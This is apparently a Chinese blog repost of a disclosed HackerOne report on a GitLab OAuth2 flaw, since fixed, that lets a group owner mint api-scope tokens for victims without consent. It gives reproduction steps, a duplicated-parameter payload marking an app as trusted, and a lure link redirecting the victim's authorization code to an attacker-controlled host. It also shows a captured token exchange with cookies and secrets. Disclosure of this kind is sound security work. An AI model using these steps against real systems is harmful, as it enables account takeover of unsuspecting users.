GitLab OAuth2 访问令牌漏洞:无需用户同意即可获取API权限

本文详细描述了GitLab中一个OAuth2实现漏洞,允许攻击者通过组级应用设置缺陷,无需用户同意即可为目标用户生成访问令牌,从而获取API范围访问权限。

GitLab | 报告 #1148364 - 为目标用户生成OAuth2访问令牌 | HackerOne

摘要

可以通过组级应用设置中的缺陷为目标用户生成访问令牌。组所有者默认可以创建一个受用户信任的应用程序,这绕过了授权流程中的CSRF控制。

重现步骤

  1. 以用户1身份登录,创建一个名为“恶意组”的组。
  2. 在设置 > 应用程序 > 勾选api范围,创建一个应用程序。
  3. 打开创建的应用程序并点击编辑,在点击“保存应用程序”时拦截请求,附加以下内容: doorkeeper_application%5Btrusted%5D=0&doorkeeper_application%5Btrusted%5D=1& 这将允许我们创建一个默认受信任的应用程序。这是实例管理员的预期功能。
  4. 向用户发送以下链接,或将其放入img标签中: https://gitlab.com/login/oauth/authorize?redirect_uri=http://<attacker-control>.com&client_id=9ff83fc426f95b5b5dec389ac02adf4ef800e4a0fb04faed6ffc8305f5fccf29&scope=api
  5. 您将能够看到一个带有代码的请求。
  6. 您可以使用以下端点生成访问令牌。

HTTP请求示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST /login/oauth/access_token HTTP/1.1
Host: gdk.test:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: perf_bar_enabled=true; experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltTTBaR0ZsWWpWa0xXUXdPRFV0TkRjM05TMWlPRGxtTFRVMk5UYzJORFF3WXpsa01pST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--364fb7d4479cb94e08660b9c20f6b7692c7e53a4; _gitlab_session_a577db8f7188ca777cf6a20a7928c67f45ba397ca4a4a162d17662b5e845194c=d114336bb9c2a113ff2e6d5542e17a63; known_sign_in=bGtzOVNNWWY1SitJVDBMUE5WS0VqbXBvbWRyRzhLaXdzKyt6L0FpanZIMndzYVhRUHZpYnlncjJFSFJzNEl3b0dvMlNaVEF4d25PRys4ZDFiYmgvRUpVRWRVdlVRL3YyUXNaUEx4LzExL25YTWk2KzBIUlg3dldFQlpkQ2dDL2YtLTc4cUhhZmJrK2JUckRvT0FONjBRZ1E9PQ%3D%3D--ddb6a3bf3b2faa846ab4a0b2e0ecef561f0c5a99; sidebar_collapsed=false
Upgrade-Insecure-Requests: 1
Content-Length: 223

code=6c53ef532f34762b8705029d4fd005d2c32d788d3e3a78151c1b5f6a2743dffc&client_id=04a5da53b6faaba4758fcb0e7bd80845795c9c838363568c9b4efcc0bcec1934&client_secret=9de25469a82dee694ae4e33e02a3e97156bec87ba905fc4e3e34b9de805f9dc4

响应示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate, no-store
Content-Type: text/plain; charset=utf-8
Etag: W/"a219f8ac2bd29580e1f17894de3956da"
Pragma: no-cache
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Gitlab-Feature-Category: integrations
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01F2E6M6TER14PB17H6XCDC0B3
X-Runtime: 0.257708
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Date: Sun, 04 Apr 2021 10:25:03 GMT
Content-Length: 105
Connection: close

access_token=bc3450dfcc2fb46eece85d1f74d96070f94cd35e656b184706027227243d5338&scope=api&token_type=Bearer

影响

可以获得任何目标用户的api范围访问权限。稍后将尝试启用更多范围。

当前错误行为

能够在未经同意的情况下获取用户的代码并生成访问令牌,该令牌可用于代表用户执行操作。

预期正确行为

组所有者在创建应用程序时不应能够默认启用信任。

影响

获取目标用户的数据访问权限。

时间线

  • 2021年4月4日,11:00 UTC:timothyleung 向GitLab提交报告。
  • 2021年4月4日,11:26 UTC:timothyleung 发布了评论,记录了利用过程。
  • 2021年4月4日,11:43 UTC:timothyleung 发布了评论,提到类似问题曾在之前讨论过。
  • 2021年4月4日,11:51 UTC:timothyleung 发布了评论,说明攻击可以通过GET请求触发。
  • 2021年4月5日,06:00 UTC:timothyleung 发布了评论,意识到JIRA部分无关紧要,应使用/oauth/token端点。
  • 2021年4月5日,23:24 UTC:HackerOne分析员everton发布评论,表示报告正在审查中。
  • 2021年4月5日,23:33 UTC:HackerOne分析员everton发布评论,表示正在与GitLab团队内部讨论。
  • 2021年4月5日,23:33 UTC:rchan 添加弱点“不当身份验证 - 通用”。
  • 2021年4月5日,23:35 UTC:rchan 将状态更改为“已分类”。
  • 2021年4月6日,00:23 UTC:timothyleung 发布评论,请求审查严重性。
  • 2021年4月6日,00:52 UTC:rchan 发布评论,表示将讨论CVSS。
  • 2021年4月7日,02:31 UTC:rchan 发布评论,表示已在gitlab.com上推送修复。
  • 2021年4月7日,02:41 UTC:timothyleung 发布评论,确认无法再执行攻击。
  • 2021年4月14日,04:22 UTC:GitLab安全机器人发布评论,预计修复时间为2021年4月30日。
  • 2021年4月20日,06:57 UTC:rchan 关闭报告并将状态更改为“已解决”。
  • 2021年4月20日,06:58 UTC:GitLab奖励timothyleung赏金。
  • 2021年4月20日,10:04 UTC:timothyleung 发布评论,感谢赏金。
  • 2021年4月21日,02:15 UTC:rchan 发布评论,鼓励继续努力。
  • 2021年5月21日,20:00 UTC:GitLab员工dcouture请求披露此报告。
  • 2021年5月22日,03:09 UTC:timothyleung 发布评论,同意在视频移除后披露。
  • 2021年5月22日,11:23 UTC:GitLab员工dcouture发布评论,表示已完成。
  • 2021年7月12日,22:47 UTC:GitLab员工dcouture发布评论,询问是否仍愿意披露。
  • 12天前:timothyleung 同意披露此报告。
  • 12天前:此报告已披露。
  • 12天前:timothyleung 发布评论,询问是否可以分配CVE。

报告详情

  • 报告日期:2021年4月4日,11:00 UTC
  • 报告者:timothyleung
  • 报告对象:GitLab
  • 报告ID:#1148364
  • 状态:已解决
  • 严重性:高(7 ~ 8.9)
  • 披露日期:2025年7月23日,00:06 UTC
  • 弱点:不当身份验证 - 通用
  • CVE ID:无
  • 赏金:隐藏
  • 账户详情:无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计